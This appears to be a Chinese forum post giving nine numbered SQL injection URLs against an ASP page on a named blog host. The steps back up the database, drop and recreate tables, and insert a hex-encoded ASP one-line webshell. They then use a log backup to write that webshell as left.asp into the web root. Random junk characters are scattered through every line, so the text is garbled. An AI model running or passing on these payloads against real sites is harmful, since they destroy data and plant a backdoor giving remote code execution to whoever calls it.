第一步
! P" [) f" a1 q6 k& Ihttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--" {1 A2 w: I" k+ A$ J! \+ n4 L( p
5 u6 {0 Y; F l: \/ Z @( f+ m( ]6 R
第二步:
) W6 @8 |- @7 ]6 Z, n1 x4 Fhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--9 F# ^$ U7 v; N; s2 e2 _/ y6 |
3 f" T* P" p) R1 l
第三步$ I# c0 E# a& g1 }
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--" b2 \! W( h) k
9 _% g- D" \( b0 O" Y
第四步% `+ f; l3 v J. r/ C) a6 c' K
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
2 J( C# J, g0 i' N( ~: P! t& ~: Y7 d) P
第五步
. R& {3 g. }: J) p" y/ Q* p- whttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--$ z. G3 K- h* j. z7 R+ B' O% Q
5 q0 `$ k; ?3 s1 b! M, q7 r+ I第六步% D+ j, X1 G, A" q" \
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--" A$ C2 `+ M: ?. U
. A2 L$ j* H, f: j
第七步: d( W$ F! a! p, e" Y I/ @( [
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
5 a0 ~* E# ]. f) I7 ~. x5 s/ V8 F( j' I3 K
第八步8 C @) p4 u( r- |) u% F
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
' Q; F- H2 m8 `' I- U# E" c z5 q; t
第九步
0 A5 A |; s1 thttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--+ c4 v9 w' H; l$ U s8 y4 H
|